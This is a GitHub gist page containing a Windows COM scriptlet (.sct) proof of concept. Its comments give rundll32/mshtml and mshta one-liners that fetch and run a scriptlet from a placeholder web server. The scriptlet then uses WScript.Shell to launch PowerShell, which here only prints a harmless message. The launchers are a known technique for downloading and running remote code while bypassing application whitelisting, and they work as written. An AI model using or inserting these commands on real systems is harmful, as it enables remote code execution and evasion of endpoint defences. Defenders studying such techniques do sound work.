Skip to content

Instantly share code, notes, and snippets.

@agreenjay
Last active July 18, 2018 19:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save agreenjay/aa5d0b61e71defca019ef019b54fe65a to your computer and use it in GitHub Desktop.
Save agreenjay/aa5d0b61e71defca019ef019b54fe65a to your computer and use it in GitHub Desktop.
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("powershell -noe write-host Booo!");
]]>
</script>
</scriptlet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment